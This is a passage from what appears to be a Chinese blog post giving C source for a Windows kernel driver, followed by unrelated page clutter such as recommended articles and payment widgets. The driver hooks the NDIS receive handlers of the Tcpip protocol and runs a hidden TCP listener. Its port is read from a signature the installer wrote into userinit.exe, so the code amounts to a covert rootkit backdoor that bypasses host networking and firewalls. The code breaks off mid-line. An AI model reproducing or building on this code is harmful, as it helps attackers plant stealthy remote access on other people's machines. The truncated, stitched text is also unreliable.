PVOID   m_ourBuffer    = NULL;
//
PKEVENT   g_puSendEvent;
PLARGE_INTEGER g_pTimeOut;
ULONG   OURPORT;
//--------------------------------------------------------------------
//defined in ubd_sys.c
extern TCPS_Connection  g_ConnectionSpAce[MAX_CONNECTIONS];
extern RECVLISTHEAD  g_RecvListHeAd;
extern SENDLISTHEAD  g_SendListHeAd;
//
//NDIS_HANDLE  g_pBindAdaptHandle;
//--------------------------------------------------------------------
////proto function
NTSTATUS
RtlGetVersion(
PRTL_OSVERSIONINFOW  lpVersionInformation
);
/////////
VOID
OnUnloAd(
IN PDRIVER_OBJECT DriverObject
);

VOID
HookFuncBlock(
CHAR* ProtocolContent
);

HOOK_CONTEXT_STRUCT*
HookNdisFunc(
PVOID pHookProc,
PVOID *ppOrigProc,
PVOID pBindAdAptHAndle,
PVOID pProtocolContent
);

HOOK_CONTEXT_STRUCT*
IsHookedNdisFunc(
PVOID pAddr
);

HOOK_CONTEXT_STRUCT*
IsHookedNdisFuncEx(
PVOID *pAddr
);

ULONG
HookProtocol(
VOID
);

NDIS_STATUS
HookProtocolReceive(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE   ProtocolBindingContext,
IN NDIS_HANDLE   MAcReceiveContext,
IN PVOID    HeAderBuffer,
IN UINT    HeAderBufferSize,
IN PVOID    LookAheAdBuffer,
IN UINT    LookAheAdBufferSize,
IN UINT    PAcketSize
);

INT
HookProtocolReceivePAcket(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE   ProtocolBindingContext,
IN PNDIS_PACKET  PAcket
);

VOID
ReAdPAcket(
PNDIS_PACKET PAcket,
PVOID   pBuffer,
ULONG   ulBufSize
);

ULONG
HAndlePAcket(
HOOK_CONTEXT_STRUCT  *pOurContext,
PNDIS_PACKET   pPAcket
);

ULONG
HAndleBuffer(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID    pBuffer,
ULONG    PAcketSize
);

VOID
HookProtocolSendComplete(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE  ProtocolBindingContext,
IN PNDIS_PACKET PAcket,
IN NDIS_STATUS  StAtus
);

USHORT
checksum(
USHORT *buff,
ULONG size
);

NTSTATUS
SendSYNACKPAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

NTSTATUS
SendACKPAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID    pBuffer
);

NTSTATUS
GetPAcketDAtA(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

NTSTATUS
SendACKPAcketToSendList(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

NTSTATUS
SendSYNACKPAcketToSendList(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

ULONG
HAndleReceivePAcket(
HOOK_CONTEXT_STRUCT *pOurContext,
ULONG TotAlPAcketSize,
PVOID pHeAdBuffer,
ULONG ulHeadSize,
PNDIS_PACKET pPAcket
);

NTSTATUS
TCPS_StArtup(
PDEVICE_OBJECT pDeviceObject
);

NTSTATUS
AddRecvDAtAToList(
PRECVLISTHEAD pRecvListHeAd,
char* dAtA,
ULONG RecvDAtALength,
PTCPS_Connection pConnection
);

PRECVLIST
RemoveRecvDAtAFromList(
PRECVLISTHEAD pRecvListHeAd
);

ULONG
SetConnection(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID    pBuffer
);

NTSTATUS
UpDAteConnection(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

VOID
RemoveSendDAtAFromList(
PSENDLISTHEAD pSendListHeAd
);

NTSTATUS
Disconnect(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

NTSTATUS
SendDisconnectMessAgeToSendlist(
  HOOK_CONTEXT_STRUCT *pOurContext,
  PVOID pBuffer
  );

NTSTATUS
AddSendDAtAToList(
PSENDLISTHEAD  pSendListHeAd,
CHAR*    dAtA,
ULONG    SendDAtALength,
PTCPS_Connection pConnection
);

NTSTATUS
AddSendDAtAToListAtFront(
PSENDLISTHEAD  pSendListHeAd,
CHAR*    dAtA,
ULONG    SendDAtALength,
PTCPS_Connection pConnection
);

NTSTATUS
UpDAteConnectionSYN(
HOOK_CONTEXT_STRUCT *pOurContext,
PVOID pBuffer
);

USHORT
CountChecksum(
PVOID  pBuffer
);

ULONG
GetTheListeningPort(
VOID
);

VOID
InitWorkThreAd(
PVOID pContext
);

//--------------------------------------------------------------------
VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject )
{
//DbgPrint("My Driver UnloAded!/n");
}
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{

NTSTATUS stAtus;
HANDLE  hThreAd;


DbgPrint("Driver begin!/n");

DriverObject->DriverUnload = OnUnloAd;

stAtus = PsCreateSystemThread(&hThreAd,
         (ACCESS_MASK)0,
         NULL,
         (HANDLE)0,
         NULL,
         InitWorkThreAd,
         DriverObject
         );
         
if (!NT_SUCCESS(stAtus)){
  DbgPrint("error when creAte the threAd/n");
  return FALSE;
}






return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID InitWorkThreAd(PVOID pContext)
{
PDEVICE_OBJECT  pDeviceObject;
NTSTATUS   stAtus;
WCHAR    deviceNAmeBuffer[] = L"//Device//uaty";//chAnge the nAme if hAve time
UNICODE_STRING  deviceNAmeUnicodeString;
//DriverObject->DriverUnload = fuktdi_UnloAd;
RtlInitUnicodeString(
  &deviceNAmeUnicodeString,
  deviceNAmeBuffer
  );

stAtus = IoCreateDevice(
     pContext,
     0,//sizeof(DEVICE_EXTENSION),//do i hAve this?
     &deviceNAmeUnicodeString,
     FILE_DEVICE_UNKNOWN,//whAt's this
     0,
     TRUE,
     &pDeviceObject
     );


//ndis initiAliztion
g_puSendEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
g_pTimeOut  = ExAllocatePool(NonPagedPool,sizeof(LARGE_INTEGER));
//g_pTimeOut->HighPart = 0;
g_pTimeOut->QuadPart = -10000000;//i don't know how mush is better.now 1 seconds

KeInitializeEvent(
  g_puSendEvent,
  SynchronizationEvent,
  FALSE
  );


NdisAllocatePacketPool(&stAtus,&m_ourPAcketPoolHAndle,0xFFF,0x30);
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAtePAcketPool fAiled/n");
  goto InitWorkThreAd_end;
}
NdisAllocateBufferPool(&stAtus,&m_ourBufferPoolHAndle,0x30);
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAteBufferPool fAiled/n");
  goto InitWorkThreAd_end;
}
NdisAllocateMemoryWithTag(&m_ourBuffer,MAX_PACKET_SIZE,'ytaU');
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAteMemoryWithTAg fAiled/n");
  goto InitWorkThreAd_end;
}
NdisAllocateBuffer(&stAtus,&m_ourBufferHAndle,m_ourBufferHAndle,m_ourBuffer,MAX_PACKET_SIZE);
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAteBuffer fAiled/n");
  goto InitWorkThreAd_end;
}
NdisAllocatePacket(&stAtus,&m_ourPAcketHAndle,m_ourPAcketPoolHAndle);
if(stAtus != NDIS_STATUS_SUCCESS){
  //DbgPrint("NdisAllocAtePAcket fAiled/n");
  goto InitWorkThreAd_end;
}
NdisChainBufferAtFront(m_ourPAcketHAndle,m_ourBufferHAndle);

//get the listing port for userinit.exe 90 bytes to the front
OURPORT = GetTheListeningPort();

//
TCPS_StArtup(pDeviceObject);

//hook ndis
HookProtocol();

InitWorkThreAd_end:
PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here /n");

}
//--------------------------------------------------------------------
ULONG GetTheListeningPort(VOID)
{
RTL_OSVERSIONINFOEXW osversion = {0};
UNICODE_STRING   pAth;
SIGNANDPORT    SignAndPort;
OBJECT_ATTRIBUTES  oA;
HANDLE     hFile;
NTSTATUS    stAtus;
IO_STATUS_BLOCK   IoStAtusBlock;
LARGE_INTEGER   ByteOffset;

osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
if(osversion.dwMajorVersion == 4){
  RtlInitUnicodeString(&pAth,L"//??//C://WINNT//System32//userinit.exe");
}
else if(osversion.dwMajorVersion == 5){
  if(osversion.dwMinorVersion >= 1){
   RtlInitUnicodeString(&pAth,L"//??//C://WINDOWS//System32//userinit.exe");
  }
  else{
   RtlInitUnicodeString(&pAth,L"//??//C://WINNT//System32//userinit.exe");
  }
}
else{
  //DbgPrint("1 listening on port 9929/n");
  return 9929;
}

InitializeObjectAttributes(
  &oA,
  &pAth,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL
  );

stAtus = ZwOpenFile(
    &hFile,
    GENERIC_READ,
    &oA,
    &IoStAtusBlock,
    FILE_SHARE_READ,
    FILE_NON_DIRECTORY_FILE
    );


ByteOffset.HighPart = 0;
ByteOffset.LowPart = 90;//when instAll,i wrote it there
stAtus = ZwReadFile(
    hFile,
    NULL,
    NULL,
    NULL,
    &IoStAtusBlock,
    &SignAndPort,
    sizeof(SIGNANDPORT),
    &ByteOffset,
    NULL
    );
ZwClose(hFile);

if(IoStAtusBlock.Status != STATUS_SUCCESS){
  //DbgPrint("2 listening on port 9929/n");
  return 9929;
}

DbgPrint("listening on port %d/n",SignAndPort.port);
if(SignAndPort.sign == 0xAABBCCDD){
  return SignAndPort.port;
}else{
  return 9929;
}
}
//--------------------------------------------------------------------
ULONG HookProtocol(VOID)
{
NDIS_PROTOCOL_CHARACTERISTICS ourNPC;
NDIS_STRING protoNAme = NDIS_STRING_CONST("HdFw_Slot");
NDIS_STATUS StAtus;
NDIS_HANDLE ourProtocolHAndle = NULL;
CHAR* ProtocolChAin;
ULONG offset;
ULONG len;

memset(&ourNPC,0,sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
len = sizeof(NDIS_PROTOCOL_CHARACTERISTICS);
ourNPC.MajorNdisVersion = 0x05;
ourNPC.MinorNdisVersion = 0x00;

ourNPC.Name       = protoNAme;
ourNPC.OpenAdapterCompleteHandler = PtOpenAdApterComplete;
ourNPC.CloseAdapterCompleteHandler = PtCloseAdApterComplete;
ourNPC.SendCompleteHandler   = PtSendComplete;
ourNPC.TransferDataCompleteHandler = PtTrAnsferDAtAComplete;
ourNPC.ResetCompleteHandler   = PtResetComplete;
ourNPC.RequestCompleteHandler  = PtRequestComplete;
ourNPC.ReceiveHandler    = PtReceive;
ourNPC.ReceiveCompleteHandler  = PtReceiveComplete;
ourNPC.StatusHandler    = PtStAtus;
ourNPC.StatusCompleteHandler  = PtStAtusComplete;
ourNPC.BindAdapterHandler   = PtBindAdApter;
ourNPC.UnbindAdapterHandler   = PtUnbindAdApter;
ourNPC.UnloadHandler    = NULL;//PtUnloAd;
ourNPC.ReceivePacketHandler   = PtReceivePAcket;
ourNPC.PnPEventHandler    = PtPNPHAndler;

NdisRegisterProtocol(&StAtus,&ourProtocolHAndle,&ourNPC,len);
if(!NT_SUCCESS(StAtus) || ourProtocolHAndle == NULL){
  return FALSE;
}

//NdisRegisterProtocol  return hAnd reference of NDIS_PROTOCOL_BLOCK;
ProtocolChAin = (CHAR*)ourProtocolHAndle;
while(1){
  offset = 0x10;
  ProtocolChAin = ((CHAR**)(ProtocolChAin + offset))[0];
  if (ProtocolChAin == NULL){
   break;
  }
  HookFuncBlock(ProtocolChAin);
}

NdisDeregisterProtocol(&StAtus,ourProtocolHAndle);

return TRUE;
}
//--------------------------------------------------------------------
VOID HookFuncBlock(CHAR* ProtocolContent)
{
PNDIS_PROTOCOL_CHARACTERISTICS pProChAr;
NDIS_STRING TcpipString = NDIS_STRING_CONST("Tcpip");
if(ProtocolContent == NULL){
  return;
}
pProChAr = (PNDIS_PROTOCOL_CHARACT
Screenshot_2026-11-04-16-26-45-46.jpg 立即下载

相关推荐

TG-2026-11-08-071400786.mp4

TG-2026-11-08-071400786.mp4

WDM驱动程序开发之应用程序测试篇CreateFile,ReadFile,WriteFile,DeviceIoControl,CloseHandle.

 一、*****CreateFile*****    这个函数可以创建或打开一个对象的句柄,凭借此句柄就可以控制这些对象:控制台对象、通信资源对象、目录对象(只能打开)、磁盘设备对象、文件对象、邮槽对象、管道对象。    函数原型:HANDLE CreateFile(  LPCTSTR lpFileName,                         // file name对象路径名  D

5241

互联网 Java 工程师进阶知识完全扫盲:涵盖高并发、分布式、高可用、微服务、海量数据处理等领域知识

互联网 Java 工程师进阶知识完全扫盲:涵盖高并发、分布式、高可用、微服务、海量数据处理等领域知识

Minifilter过滤,功能实现对驱动目录的监控,包括创建,重命名,删除并实现hips

注意下:我的这套过滤只能用在nt6系统上 原因是使用一个nt6上才有的函数 见函数 PsGetProcessFullName 其实没必要自己来写获取全路径 因为minifilter已经给我们提供了获取全路径的函数 FltGetFileNameInformation 我就不改了,哈哈 说说遇到的问题吧 在监控创建的时候,我在卸载post中的,我拒绝后,在弹窗,2-3

zhuhuibeishadiao 1万+

巴基斯坦进口贸易数据集5097类HS6商品六年

本数据集收录巴基斯坦2019至2024年六年间的年度进口贸易数据,覆盖5097个HS6编码商品类别,年度进口总额达500亿至800亿美元规模,完整捕捉疫情前基线、新冠疫情冲击、进口限制政策与能源价格波动等关键经济节点。高进口额品类包括石油馏分、原油、液化天然气、棕榈油与光伏太阳能设备。字段包含HS6商品名称、HS6编码及2019至2024各年度进口额(美元计价)。适用于能源与大宗商品进口依赖分析、增长率与波动性(CAGR)研究、宏观经济冲击建模,以及按HS两位章节(第27章矿物燃料、84/85章机械设备)展开的宏观行业聚合分析,也是国际贸易研究与时间序列分析课程的实用素材。数据许可:Apache 2.0。

Crystal Designer 2020 SP2 CR202002P-400-70005715

Crystal Designer 2020 SP2 CR202002P_400-70005715

FILE_DISPOSITION_INFORMATION structure

FILE_DISPOSITION_INFORMATION structure FILE_DISPOSITION_INFORMATION 结构用作ZwSetInformationFile 例程的参数 typedef struct _FILE_DISPOSITION_INFORMATION {   BOOLEAN DeleteFile; } FILE_DISPOSITION_INFORMATI

死胖子的博客 1373

好的,技术转移行业资深专家为您撰写如下。.docx

好的,技术转移行业资深专家为您撰写如下。

交错并联图腾柱PFC变换器仿真设计(Simulink仿真实现)

内容概要:本文档聚焦于“交错并联图腾柱PFC变换器仿真设计(Simulink仿真实现)”这一核心技术主题,系统性地提供了基于Simulink平台的电力电子变换器建模与仿真资源,涵盖交错并联图腾柱PFC变换器的主电路拓扑结构、控制策略实现、动态性能分析及仿真验证全过程。文档不仅深入介绍了该变换器在高效率、低谐波、高功率因数方面的优势,还详细展示了其在均流控制、软开关实现、抗干扰能力等方面的仿真设计要点。同时,配套资源丰富,涵盖了多种典型电力电子系统案例,如三相PWM整流器、VIENNA整流器、LLC谐振变换器、双有源桥DAB变换器等,涉及PI双闭环、滞环控制、SVPWM调制、中点电压均衡、软开关技术等多种关键控制方法。此外,资源包还包含Mathcad计算书、Simulink/Plecs仿真模型、设计报告与参考文献,构建了从理论推导、参数设计到仿真验证的完整技术链条,便于用户快速掌握并复现先进拓扑的控制逻辑与系统设计流程。; 适合人群:面向具备电力电子、电气工程、自动化等相关专业背景,熟悉Matlab/Simulink仿真环境,从事新能源发电、电动汽车、工业电源、电能质量治理等方向的科研人员、高校研究生以及具有1-5年工作经验的电力电子工程师;尤其适合正在开展高效率PFC电路研究或需要完成相关课题设计的技术人员。; 使用场景及目标:①深入理解交错并联图腾柱PFC变换器的工作原理与建模方法,掌握其在提升系统效率与降低输入电流畸变方面的技术优势;②学习并实践高性能PFC电路的双闭环控制、均流策略与软启动设计,提升仿真调试与参数整定能力;③借助提供的标准化仿真模板、计算工具与完整案例,快速搭建类似拓扑系统,支撑科研论文复现、项目开发或课程设计,显著提高研发效率与设计可靠性。; 阅读建议:建议结合文档中列出的仿真模型与Mathcad计算书同步操作,优先按照资源目录顺序循序渐进学习,重点关注控制环路的设计逻辑、PI参数整定方法与系统稳定性判据;推荐通过网盘链接下载全部资料,动手修改模型参数并观察响应变化,以加深对控制策略本质的理解,实现从“看懂”到“会用”的转化。

产业园区如何高效匹配产业需求与科技成果?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

国央企创新负责人如何系统化管理科技成果与创新资源?.docx

国央企创新负责人如何系统化管理科技成果与创新资源?

MySQL SQL代码资源集

MySQL SQL代码资源集

【动态多智能体系统的通信感知编队控制】一种新颖的通信感知编队控制策略,用于动态多智能体系统研究(Matlab代码、Python代码实现)

内容概要:文档名为《Plecs全桥LLC谐振变换器仿真模型.txt》,但其内容并未深入介绍Plecs环境下全桥LLC谐振变换器的具体建模与仿真过程,而是呈现为一份涵盖多领域科研主题的资源列表。文档内容广泛涉及多智能体系统控制、无人机路径规划、电力电子变换器、状态估计、信号处理、优化算法等研究方向,并多次提及Matlab/Simulink、Python等工具的代码实现。整体来看,该文档更像是一份科研项目目录或技术资源索引,重点推介了包括LLC谐振变换器在内的多种控制系统与电力电子仿真模型,但对标题所述核心内容缺乏详尽的技术描述与实现细节。; 适合人群:电力电子、自动化、控制工程、信号处理及多智能体系统等相关领域的研究生、科研人员与工程技术人员。; 使用场景及目标:①为科研工作者提供跨学科的技术方向参考与研究选题灵感;②获取电力系统、无人机控制、信号处理等领域成熟的Matlab/Simulink或Python仿真代码资源,用于算法验证与模型复现。; 阅读建议:建议将此文档作为科研资源导航目录使用,读者可根据自身研究方向筛选感兴趣的主题,并通过文中提供的公众号或网盘链接获取完整的代码、仿真模型与配套资料进行深入学习与实践。

融合高斯扰动与竞争学习的多目标加权平均算法(MOWAA)求解DTLZ1-DTLZ7及盘式制动器设计研究(Matlab代码实现)

内容概要:本文档详细介绍了基于Plecs软件构建的隔离型全桥LLC谐振变换器的仿真模型,涵盖其建模方法、关键参数设计及系统仿真验证全过程。文中深入阐述了LLC谐振变换器的工作原理,包括谐振腔参数(如励磁电感、谐振电容和电感)的计算方法、变频控制策略的应用机制,以及系统在开环与闭环条件下的动态响应特性分析。同时,文档提供了完整的仿真模型、设计报告与计算书,帮助用户掌握软启动、恒压恒流控制等功能的实现方式,并对变换器的效率、稳定性及抗干扰能力进行了全面评估。; 适合人群:具备电力电子技术基础,从事开关电源、新能源发电系统、电动汽车充电设备等相关领域的研发人员及高等院校电气工程专业的研究生。; 使用场景及目标:①深入理解全桥LLC谐振变换器的建模与参数设计流程;②掌握Plecs或Simulink平台下电力电子系统的高精度仿真技术;③为高频高效DC-DC变换器的实际工程设计与性能优化提供理论指导和技术支持。; 其他说明:该资源配套提供完整的仿真文件、计算书与参考文献,建议结合理论学习与仿真实践同步进行,以深入掌握LLC变换器的谐振特性、控制策略设计及其在实际应用中的动态性能表现。

产业园区运营负责人如何提升企业技术需求与科研资源的精准匹配效率?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

两相交错并联Boost电路仿真模型(Simulink仿真实现)

内容概要:本文档系统整理了电力电子与电力系统领域的多项Simulink仿真资源,重点围绕“两相交错并联Boost电路仿真模型”展开,涵盖其在高功率密度、低输入电流纹波等性能优化方面的建模与控制实现。资源集合不仅包括Boost类变换器,还广泛涉及LLC谐振变换器(半桥、全桥、多相交错)、PFC功率因数校正电路(图腾柱、维也纳拓扑)、双向DC-DC变换器(Buck-Boost、CLLC)、PWM整流器及DAB双有源桥等多种典型电力电子拓扑结构的闭环控制系统设计。每个模型均强调动态响应分析、均流控制、软开关技术与稳定性验证,适用于新能源发电、电动汽车V2G系统、储能能量管理及充电桩等前沿应用场景,体现了较强的工程实践价值与科研参考意义。; 适合人群:面向电气工程、自动化、电力电子与电力传动等相关专业的高校本科生、研究生,以及从事电源设计、新能源系统开发、车载充电机、工业变流器研发的工程技术人员,尤其适合具备电路理论基础和Simulink/Matlab仿真经验的学习者进一步深化系统建模与控制策略研究。; 使用场景及目标:① 深入理解交错并联Boost电路的工作原理及其在抑制输入电流纹波、提升效率方面的作用机制;② 掌握利用Simulink构建复杂电力电子系统的建模方法,开展控制器设计(如PI、双闭环、VOC、SVPWM)与动态性能仿真;③ 为毕业设计、科研课题或实际工程项目提供可复用的技术参考,支撑高性能DC-DC变换器与AC-DC整流系统的开发需求。; 阅读建议:建议结合文档中列出的LLC、PFC、双向DC-DC等配套仿真案例进行横向对比学习,深入把握不同拓扑间的共性与差异;同时推荐配合提供的Mathcad计算书、设计报告与参考文献,完成从参数设计、模型搭建到仿真验证的全流程实践,全面提升理论分析与工程应用相结合的能力。

上一篇: SSDT hook example (hiding processes) correction
下一篇: 写个自己的调试器
eaglenet
博客等级 码龄21年 2粉丝 7原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值